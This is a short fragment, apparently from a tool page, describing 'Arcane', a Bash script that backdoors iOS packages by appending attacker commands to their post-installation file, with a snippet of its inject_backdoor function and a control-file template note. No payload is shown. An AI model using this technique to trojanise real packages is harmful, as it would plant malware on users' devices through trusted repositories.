Arcane - A Simple Script Designed To Backdoor iOS Packages (Iphone-Arm) And Create The Necessary Resources For APT Repositories

# The "post-installation" file. This file is generally responsible
# for executing commands on the OS after installing the required
# files. It's utilized by developers to manage and maintain various
# aspects of an installation. Arcane abuses this functionality by
# appending malicious Bash commands to the file.

# A function to handle the type of command execution embedded into the
# postinst file.
function inject_backdoor ()

        cat "$infile" >> "$postinst";

# The "control" file template. Most iOS packages will include a
# control file. In the event one is not found, Arcane will use the
# below template. The `$hacker` variable is used here to occupy
# various arbitrary fields.
